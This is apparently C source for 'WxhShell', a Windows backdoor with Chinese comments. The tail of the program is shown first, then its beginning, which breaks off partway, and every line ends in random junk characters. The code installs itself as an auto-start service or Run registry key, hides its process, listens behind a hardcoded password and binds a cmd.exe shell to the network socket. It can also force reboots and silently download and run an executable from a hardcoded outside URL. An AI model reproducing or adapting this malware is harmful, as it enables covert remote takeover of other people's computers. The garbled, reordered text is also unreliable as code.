    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ] D(laqS;"  
    if(Boot(SHUTDOWN)) ?DN4j!/$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e ]@Ex  
    else { (}$~)f#s  
    closesocket(wsh); 6mawcK:7  
    ExitThread(0); <tT*.nM\  
    } -3YsrcJi  
    break; IaxzkX_48  
    } .EOHkhn  
  // 获取shell XHKVs  
  case 's': { (kECV8)2  
    CmdShell(wsh); ZBDEE+8e  
    closesocket(wsh); (-lu#hJ`&r  
    ExitThread(0); N8$MAW  
    break; /xK5%cE>B  
  } O@.afk"{  
  // 退出 nm[ yp3B  
  case 'x': { k+(UpO=/*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S Z@ JzOA  
    CloseIt(wsh); "82<}D^;  
    break; wm3fd 7T  
    } AR<'Airi:  
  // 离开 "IOu$?  
  case 'q': { j( *;W}*^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z0@)@4z!  
    closesocket(wsh); /}~; b#t  
    WSACleanup(); 9fWr{fx  
    exit(1); N9W\>hKaeh  
    break; ELx?ph-9  
        } m?Gb5=qo  
  } A+JM* eB  
  } p[Z'Fl  
QlbhQkn  
  // 提示信息 DYvi1X6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8"C;I=]8  
} Jm%hb ,  
  } ^1&xt(G  
8}Pd- .se  
  return; (qE*z  
} 4:!KtpR[O  
#8 N9@  
// shell模块句柄 3@k;"pFa<  
int CmdShell(SOCKET sock) *fBI),bZa  
{ 91oIxW  
STARTUPINFO si; x;RjLI4h  
ZeroMemory(&si,sizeof(si)); R:*I>cRs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x6,kG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vXUrS+~x  
PROCESS_INFORMATION ProcessInfo; XxW~4<r  
char cmdline[]="cmd"; (t.pM P4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yFt'<{z[nL  
  return 0; cZ(7/Pl  
}  b;!oPT  
st;.Po[h  
// 自身启动模式 dXKv"*7l  
int StartFromService(void) Dh*>361y-  
{ GHQa{@m2V  
typedef struct nwd 02tu  
{ :K!@zT=o  
  DWORD ExitStatus; @@U'I^iG  
  DWORD PebBaseAddress; >\Qyg>Md]  
  DWORD AffinityMask; WMB~? EDhv  
  DWORD BasePriority; JwzA'[tM  
  ULONG UniqueProcessId; "RuH"~o  
  ULONG InheritedFromUniqueProcessId; tS2P|fl  
}   PROCESS_BASIC_INFORMATION; ]xf lfZ  
7y",%WYSD  
PROCNTQSIP NtQueryInformationProcess; Qtmsk:qm  
MSPzOJQPy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K5x&:z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #]G$o?@Y=^  
8-cB0F=j_  
  HANDLE             hProcess; a#X[V5|6Q  
  PROCESS_BASIC_INFORMATION pbi; s[:e '#^  
ArBgg[i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \h6_m)*H4  
  if(NULL == hInst ) return 0; dQ*3s>B[  
whW"cFg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f"h{se8C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a;p3Me7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;0V{^  
f\ oB/  
  if (!NtQueryInformationProcess) return 0; 6MfjB@  
UzVnC:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %g3@m5&  
  if(!hProcess) return 0; M*)}F  
B7qm;(?X&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +{ QyB  
|H&2[B"l  
  CloseHandle(hProcess); g/+P]c6/  
8U B-(~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mDmy637_  
if(hProcess==NULL) return 0; zBWn*A[4  
^ N]u  
HMODULE hMod; oDp!^G2A"  
char procName[255]; clQN@1] M  
unsigned long cbNeeded; 7O{c>@\  
/?l@7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P@ '<OI  
RE]u2R6Y  
  CloseHandle(hProcess); ,.u7([SGm  
' }rUbJo  
if(strstr(procName,"services")) return 1; // 以服务启动 X:\r )  
fZ6lnZ  
  return 0; // 注册表启动 tk4~ 8  
} yG?,8!/]  
bit&H  
// 主模块 //VgPl  
int StartWxhshell(LPSTR lpCmdLine) +*[lp@zU{  
{ ;4of7d  
  SOCKET wsl; kS[xwbE  
BOOL val=TRUE; |yiM7U,i  
  int port=0; t&(}`W  
  struct sockaddr_in door; C|c'V-f  
d^X;XVAvP  
  if(wscfg.ws_autoins) Install(); UJ1Ui'a(!!  
D0,U2d  
port=atoi(lpCmdLine); hVRpk0IJDK  
v\ggFrG]  
if(port<=0) port=wscfg.ws_port; RKaCX:  
g W'aK>*c  
  WSADATA data; P?*$Wf,~n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;X6FhQ;{*0  
I,D24W4l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G"0YCi#I|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !+& "y K@J  
  door.sin_family = AF_INET; \{L!hAw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WE \912j  
  door.sin_port = htons(port); D`3m%O(?  
[ Y.3miE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xn(lkQ6Fm  
closesocket(wsl); w\KO1 Ob  
return 1; PgAC3%M6  
} b|t` )BF  
fkWuSGi  
  if(listen(wsl,2) == INVALID_SOCKET) { G 8OLx+!0e  
closesocket(wsl); po+>83/!oq  
return 1; ?!1K@/!  
} g@YJ#S(}  
  Wxhshell(wsl); AQ 3n=Lr   
  WSACleanup(); {ScilT  
tG(?PmQ  
return 0; z c N1i^   
|xyN#wi  
} JnH>L|G{;%  
1Qui.],c  
// 以NT服务方式启动 PiXegh WH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /g2(<  
{ x/47e8/  
DWORD   status = 0; GQ ZEMy7  
  DWORD   specificError = 0xfffffff; NK]X="`  
aH'Sz'|E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z8tQ#Pu{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :9q=o|T6D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #4_'%~-e  
  serviceStatus.dwWin32ExitCode     = 0; zb Z0BD7e  
  serviceStatus.dwServiceSpecificExitCode = 0; \D>vdn"Lx  
  serviceStatus.dwCheckPoint       = 0; ]N}80*Rl  
  serviceStatus.dwWaitHint       = 0; g@hg u   
Az[Yvu'<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !vHUe*1a{  
  if (hServiceStatusHandle==0) return; Q+gd|^Vc9  
1 *'SP6g  
status = GetLastError(); U)a}XRS  
  if (status!=NO_ERROR) x|n2,3%  
{ IZBU<1M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p't>'?UH|  
    serviceStatus.dwCheckPoint       = 0; |,L_d2lb  
    serviceStatus.dwWaitHint       = 0; !VU[=~  
    serviceStatus.dwWin32ExitCode     = status; +CtsD9PA  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6j@3C`Yd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F)g.CDQ!c  
    return; 4- z3+e  
  } fgYdKv8  
'}4LHB;:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @V:4tG.<sw  
  serviceStatus.dwCheckPoint       = 0; W&dYH 4O  
  serviceStatus.dwWaitHint       = 0; 4Mi~eL%D (  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tKgPKWP   
} =z^v)=uhp  
rr>*_67-:  
// 处理NT服务事件,比如:启动、停止 ),y{.n:wm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #`)zD"CO  
{ o%X@Bz  
switch(fdwControl) :a#Mq9ph!  
{ bS_fWD-  
case SERVICE_CONTROL_STOP: p6u"$)wt  
  serviceStatus.dwWin32ExitCode = 0; |&lAt \  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9{\e E]0  
  serviceStatus.dwCheckPoint   = 0; w?]k$  
  serviceStatus.dwWaitHint     = 0; %4?  
  { <<!XWV*m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pJ-/"Q|:i  
  } z(L\I  
  return; [xq"[*Evv  
case SERVICE_CONTROL_PAUSE: &(3kwdI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >7. $=y8b  
  break; )MqF~[k<-  
case SERVICE_CONTROL_CONTINUE: B]~#+rMK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `G> 6  
  break; #R v&b@K  
case SERVICE_CONTROL_INTERROGATE: lx,^Y 647  
  break; EeC5HgIU'C  
}; "mr;!"LA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #!0le:_  
} *.4;7#  
R}7>*&S:  
// 标准应用程序主函数 4HEp}Y"}V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VE1 B"s</  
{ RGh `=D/yE  
M0g!"0?  
// 获取操作系统版本 ~E&drl\  
OsIsNt=GetOsVer(); fM,U|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /Hb'3,jN  
&niROM,;K  
  // 从命令行安装 J&4LyIpQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); +ew2+2  
MFO}E!9`q  
  // 下载执行文件 &o*/6X  
if(wscfg.ws_downexe) { $$`E@\5P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i2`i5&*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,y@` =  
} aGvD  
l&cYN2T b  
if(!OsIsNt) { C^I  h"S  
// 如果时win9x,隐藏进程并且设置为注册表启动 sr,8zKM)  
HideProc(); `P}T{!P+6  
StartWxhshell(lpCmdLine); %cJ]Ds%V  
} }2 zJ8A9-  
else #]bWE$sU<  
  if(StartFromService()) lSU&Yqx  
  // 以服务方式启动 ~t\Hb8o  
  StartServiceCtrlDispatcher(DispatchTable); BoJ@bOe#  
else 3{B`[$  
  // 普通方式启动 ]Ija,C!#  
  StartWxhshell(lpCmdLine); r#LoBfM;^A  
. fq[>zG'&  
return 0; fOtin[|}6@  
} #"% ]1={b  
\Ku6 gEy  
C=2"*>lTn  
4Sv&iQ=vh  
=========================================== ,p6X3zY  
s8iJl+Jm  
 L>Bf}^  
r2H_)Oi  
~$ } `R=  
Fn0Rq9/@  
" )? WiO}"  
OLpE0gZ.|`  
#include <stdio.h> QHnk@ R!  
#include <string.h> ?h4-D:!$L  
#include <windows.h> vQCRs!A  
#include <winsock2.h> F3[3~r  
#include <winsvc.h> -#T?C ]}  
#include <urlmon.h> I;kKY  
is_`UDaB  
#pragma comment (lib, "Ws2_32.lib") Z7?C^m  
#pragma comment (lib, "urlmon.lib") U{n< n8  
KA1Z{7UK%  
#define MAX_USER   100 // 最大客户端连接数 =\H.C@r  
#define BUF_SOCK   200 // sock buffer :FOMRrf7.  
#define KEY_BUFF   255 // 输入 buffer H@%Y!z@\  
%IGcn48J  
#define REBOOT     0   // 重启 lgp-/O"T  
#define SHUTDOWN   1   // 关机 biFy*+|  
F<y$Q0Z}  
#define DEF_PORT   5000 // 监听端口 j2NnDz'  
lAuI?/E  
#define REG_LEN     16   // 注册表键长度 P_)h8-!+ $  
#define SVC_LEN     80   // NT服务名长度 Ftu~nh}  
g,/gApa  
// 从dll定义API |KFRC)g  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q.: SIBP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Yy]^_,r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D/pc)3Ofe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }WXO[ +l  
g|_-O" l  
// wxhshell配置信息 qXmkeidb&W  
struct WSCFG { $8#zPJR&  
  int ws_port;         // 监听端口 z;`o>Ja2  
  char ws_passstr[REG_LEN]; // 口令 {~7V A  
  int ws_autoins;       // 安装标记, 1=yes 0=no xFcJyjo^z  
  char ws_regname[REG_LEN]; // 注册表键名 S;[g0j  
  char ws_svcname[REG_LEN]; // 服务名 KMZ:$H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gE8p**LT+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VE{[52  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 EJ&[I%jU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [U[saR\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #x Z7%    
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'ms&ty*T  
Dl hb'*@  
}; f%ude@E3  
7A@GN A  
// default Wxhshell configuration 0X =Yly*m@  
struct WSCFG wscfg={DEF_PORT, & xOEp  
    "xuhuanlingzhe", GQ~wx1jj1  
    1, $OU,| D  
    "Wxhshell", Ru8k2d$B  
    "Wxhshell", nE+OBdl  
            "WxhShell Service", tM3eB= .*  
    "Wrsky Windows CmdShell Service", D4WvRxki  
    "Please Input Your Password: ", Ig*68M<  
  1, xu[6h?u(h8  
  "http://www.wrsky.com/wxhshell.exe", 8/cD7O  
  "Wxhshell.exe" :db:|=#T  
    }; k@r%>Ul@  
_ S%3?Q  
// 消息定义模块 FWpcWmS`s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m":lKXpQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o>lk+Q#L @  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  wc# #'u  
char *msg_ws_ext="\n\rExit."; `!{m#BBT}  
char *msg_ws_end="\n\rQuit."; K~Lh'6  
char *msg_ws_boot="\n\rReboot..."; R5=2EwrGP  
char *msg_ws_poff="\n\rShutdown..."; j?sq i9#  
char *msg_ws_down="\n\rSave to "; .: ~);9kj  
RL0,QC)e#@  
char *msg_ws_err="\n\rErr!"; -Bymt[  
char *msg_ws_ok="\n\rOK!"; 2uw1R;zw  
9&e=s<6dO  
char ExeFile[MAX_PATH]; {,z$*nf  
int nUser = 0; 3dm lP2  
HANDLE handles[MAX_USER]; ;`<uo$R  
int OsIsNt; ir^%9amh  
Dj!v+<b  
SERVICE_STATUS       serviceStatus; CjRI!}S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; []R`h*#  
Yg_;Eu0'?  
// 函数声明 tNf?pV77  
int Install(void); f S-(Kmh  
int Uninstall(void); L|hsGm\  
int DownloadFile(char *sURL, SOCKET wsh); c\.Hs9T >  
int Boot(int flag); T;/Y/Fd  
void HideProc(void); ?`R;ZT)U-  
int GetOsVer(void); ZZ/F}9!=  
int Wxhshell(SOCKET wsl); <n+?7`d,  
void TalkWithClient(void *cs); )Zx;Z[  
int CmdShell(SOCKET sock); #P[d?pY  
int StartFromService(void); oJ}!qrrH  
int StartWxhshell(LPSTR lpCmdLine); ~"-+BG(5  
> cFH=um  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); os/_ObPiX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O3, IR1  
yu8xTh$:  
// 数据结构和表定义 k@QU<cvI  
SERVICE_TABLE_ENTRY DispatchTable[] = 6 6S I  
{ D*!p8J8Ku  
{wscfg.ws_svcname, NTServiceMain}, <)01]lKH  
{NULL, NULL} *xY}?vSs  
}; #gjhs"$~  
EXt?xiha?  
// 自我安装 MVe:[=VOT|  
int Install(void) 1&\ A#  
{ ]ADj 9  
  char svExeFile[MAX_PATH]; Y![m'q}K  
  HKEY key; d8l T+MS=  
  strcpy(svExeFile,ExeFile); $ {29[hO  
#NU;$ &  
// 如果是win9x系统,修改注册表设为自启动 WDznhMo  
if(!OsIsNt) { b[}f]pB@n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'n1-?T)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QkMK\Up  
  RegCloseKey(key); c@p4,G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,l}mCY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vgzw['L}  
  RegCloseKey(key); p(B> N!:  
  return 0; M=vRy|TL  
    } 70s.  
  } t;?M#I\,{  
} jhs('n,  
else { XN+~g.0  
"VEA71  
// 如果是NT以上系统,安装为系统服务 frB~ajXK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v2X>%  
if (schSCManager!=0) Nr24Rv  
{ '9O4$s1  
  SC_HANDLE schService = CreateService zMZP3 xir  
  ( n/ ]<Bc?  
  schSCManager, HoA[U T  
  wscfg.ws_svcname, rof&O   
  wscfg.ws_svcdisp, >kK!/#ZA  
  SERVICE_ALL_ACCESS, y*i_Ec\h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ln~Z_!  
  SERVICE_AUTO_START, GTvp)^ h  
  SERVICE_ERROR_NORMAL, ]`[r=cG  
  svExeFile, >e F4YZ"  
  NULL, \1k(4MWd  
  NULL, 6g\SJ O-;N  
  NULL, tG1,AkyZ  
  NULL, r?^[o  
  NULL j+B+>r ^  
  ); -Ucj|9+(a  
  if (schService!=0) "'389*-  
  { i:8g3|JfMe  
  CloseServiceHandle(schService); 0UV5}/2rP  
  CloseServiceHandle(schSCManager); JY$B%R4;]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rU^?Z  
  strcat(svExeFile,wscfg.ws_svcname); Yc5{M*w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l5?fF6#j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;=.i+  
  RegCloseKey(key); 2L=+z1%I  
  return 0; pVuJ4+`  
    } }d<xbL!#  
  } p.Y =  
  CloseServiceHandle(schSCManager);  p1zT]  
} wW5:p]<Y  
} Jptzc:~B  
B.:DW3  
return 1; 0I|IL]JL  
} )HLe8:PG~  
?`& l Y  
// 自我卸载 M]\p9p(_  
int Uninstall(void) .uu[f2.N+  
{ +f#o ij  
  HKEY key; ,mpvGvAI  
=P* YwLb  
if(!OsIsNt) { \FVm_)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1_chO?&,I  
  RegDeleteValue(key,wscfg.ws_regname); `S&(J2KV  
  RegCloseKey(key); z5~{WAAI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <:v2 N/i  
  RegDeleteValue(key,wscfg.ws_regname); [A@K)A$f  
  RegCloseKey(key); 8|:bis~wm  
  return 0; #w2;n@7;X  
  } /qf2LO'+  
} UkO L7M  
} 4Ji6B)B  
else { ym>>5(bni  
e|ChCvk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cP >MsUZWl  
if (schSCManager!=0) )s @ }|`  
{ k91ctEp9>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t:pgw[UJ  
  if (schService!=0) 1J(` kQ)c  
  { B.zRDB}i=  
  if(DeleteService(schService)!=0) { ~d+.w%Z `  
  CloseServiceHandle(schService); < 5%:/j  
  CloseServiceHandle(schSCManager); 43i@5F]  
  return 0; g>])O  
  } 9XU"Ppv  
  CloseServiceHandle(schService); iy{n"#uX  
  } xwSi}.  
  CloseServiceHandle(schSCManager); + -[M 7J  
} w!~%v #  
} | rY.IbL  
RR*eq.;  
return 1; q7itznQSKc  
} sbWen?  
BvXA9YQ3  
// 从指定url下载文件 |AY`OVgcKD  
int DownloadFile(char *sURL, SOCKET wsh) C26vH#C  
{ NGA8JV/U  
  HRESULT hr; }sbh|#  
char seps[]= "/"; V$D+Joj  
char *token; mM6g-)cV  
char *file; =Gka;,n  
char myURL[MAX_PATH]; -pWnO9q  
char myFILE[MAX_PATH]; (e:@7W)L  
7=$@bHEF#*  
strcpy(myURL,sURL); ?*2DR:o>@  
  token=strtok(myURL,seps); ~Y- !PZ  
  while(token!=NULL) X\?PnD`,  
  { qs96($  
    file=token; .X D.'S  
  token=strtok(NULL,seps); Ch3{q/-g  
  } &$\B&Hp@  
E?L^ L3s  
GetCurrentDirectory(MAX_PATH,myFILE); 6qCRM*V  
strcat(myFILE, "\\"); .@#GNZe  
strcat(myFILE, file); 'qhi8=*  
  send(wsh,myFILE,strlen(myFILE),0); \I! C`@0  
send(wsh,"...",3,0); g{t)I0xm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); '}\#bMeObg  
  if(hr==S_OK) @O&<_&  
return 0; KW3Dr`A  
else !,;>)R   
return 1; W%3<"'eP  
JG]67v{F  
} 9VEx0mkdd  
'p%\fb6`  
// 系统电源模块 P;A9t#\  
int Boot(int flag) sj"zgE)  
{ C\ ~!2cy  
  HANDLE hToken; m|:O:<  
  TOKEN_PRIVILEGES tkp; ;WF3w  
qDMVZb-(#  
  if(OsIsNt) { PrA?e{B5m  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lT`y=qR|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0E6>P E;  
    tkp.PrivilegeCount = 1; S;!l"1[;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; : h"Bf@3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /S}4J"  
if(flag==REBOOT) { R2]2#3`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jH 4,-  
  return 0; 9 n(.v}  
} /< OoZf+[  
else { aP#nK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /(iq^  
  return 0; XXx]~m  
} fyRSg B00$  
  } mes/gqrJ1I  
  else { ]c67zyX=%  
if(flag==REBOOT) { D*!UB5<>/t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) I}?+>cf  
  return 0; 5_|Sm=  
} XZ|%9#6  
else { *wSz2o),  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (%bqeI!ob  
  return 0; )D_\~n/5  
} 5:oteNc3  
} X9|={ng)g#  
+,"O#`sy<  
return 1; S:.Vt&+NJ  
} <)f1skJsP  
- &AgjzN!  
// win9x进程隐藏模块 6RA4@bIG  
void HideProc(void) Ys+2/>!  
{ u$vA9g4  
4[& L<D6h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m %=] j<A  
  if ( hKernel != NULL ) vpnOc2 -  
  { +7`7cOqXg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _4Ciai2Ql  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  T:~c{S4&  
    FreeLibrary(hKernel); l r16*2.  
  } G_5uO58  
^lI>&I&1  
return; }K rQPg  
} ,Q7W))j  
5a0&LNm  
// 获取操作系统版本 X(YR).a~  
int GetOsVer(void) cft'%IEs  
{ >Y3ZK{b  
  OSVERSIONINFO winfo; &8w MGahp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;5ANw"Dq  
  GetVersionEx(&winfo); vVA)x~^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :n%KHen3\  
  return 1; a 8(mU%  
  else j9voeV|7  
  return 0; >EVY,  
} pA~eGar_J  
+\Zr\fOe|%  
// 客户端句柄模块 4s <|8   
int Wxhshell(SOCKET wsl) p7Q}xx  
{ km 0LLYG  
  SOCKET wsh; =!V-V}KK-  
  struct sockaddr_in client; eu^B  
  DWORD myID; " M+g=  
5s /fBS  
  while(nUser<MAX_USER) F\)?Ntj)>@  
{ -45xa$vv  
  int nSize=sizeof(client); 5[qCH(6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (^U 8wit/  
  if(wsh==INVALID_SOCKET) return 1; \DgWp:|  
gq:2`W&5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x_k @hGSC  
if(handles[nUser]==0) Omkpjr(1  
  closesocket(wsh); aR c2#:~;  
else @hz~9AII9  
  nUser++; /'g/yBY  
  } :S_3(/} \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z:Q4E|IX  
+|iJQF  
  return 0; P { 8d.  
} oh @|*RU  
#mFY?Zp)  
// 关闭 socket YXFUZ9a#e  
void CloseIt(SOCKET wsh) axpn*(yE  
{ /XeCJxo8  
closesocket(wsh); ws_/F  
nUser--; O{Y_j&1  
ExitThread(0); x&['g*[L0  
} 2Nau]y]=  
$+%eLx*  
// 客户端请求句柄 r ?e''r  
void TalkWithClient(void *cs) )W0zu\fL =  
{ =KCAHNr4?  
xO` `X<  
  SOCKET wsh=(SOCKET)cs; K'DRX85F  
  char pwd[SVC_LEN]; F?3zw4Vt~  
  char cmd[KEY_BUFF]; HOPi2nf{  
char chr[1]; ]K^#'[  
int i,j; ?T (@<T  
N H$!<ffz  
  while (nUser < MAX_USER) { 5@3hb]J  
{*lRI  
if(wscfg.ws_passstr) { k2@|fe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v;_k*y[VV$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >'MT]@vez  
  //ZeroMemory(pwd,KEY_BUFF); 0CtPq`!  
      i=0; \-2O&v'}  
  while(i<SVC_LEN) { k O8W>  
\c .^^8r  
  // 设置超时 'v42QJ"{  
  fd_set FdRead; tl@n}   
  struct timeval TimeOut; j 56Dt_  
  FD_ZERO(&FdRead); ` yXJaTbo  
  FD_SET(wsh,&FdRead); J;mvD^`g  
  TimeOut.tv_sec=8; j_#oP  
  TimeOut.tv_usec=0; xBevf&tP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /z(;1$Ld6{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tAxS1<T4  
TM?RH{(r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F8T.}qI  
  pwd=chr[0]; 4^>FN"Ve`B  
  if(chr[0]==0xd || chr[0]==0xa) { 7c7:B2Lq  
  pwd=0; !#' y#  
  break; !I UH 5  
  } >AUj4d  
  i++; &i8UPp%  
    } 'U %L\v,  
)V6<'>1WZ  
  // 如果是非法用户,关闭 socket 6Y 4I $[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /P}Wp[)u  
}  +bC=yR  
_go1gf7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dK^WZQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z}sBx 9;  
8`4Z%;1  
while(1) { gb clk~kX  
)8244;  
  ZeroMemory(cmd,KEY_BUFF); /E|Ac&Qk  
k NnI$(H"H  
      // 自动支持客户端 telnet标准   JS:AHJSz  
  j=0; DFUW^0N  
  while(j<KEY_BUFF) { q,->E<8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a{deN9Qn  
  cmd[j]=chr[0]; rERHfr`OU  
  if(chr[0]==0xa || chr[0]==0xd) { UrhSX!g/A>  
  cmd[j]=0; 5[\LQtM  
  break; zwEZ?m!  
  } MNzWTn@  
  j++; 8E:d!?<^&I  
    } /A{/  
M6mJ'Q482  
  // 下载文件 %=t8   
  if(strstr(cmd,"http://")) { fkjo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vr1yj  
  if(DownloadFile(cmd,wsh)) }wkZ\q[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N)tqjq  
  else kTQvMa-X9D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OU /=wpt  
  } ow!NH,'Hy  
  else { f(r=S Xa*  
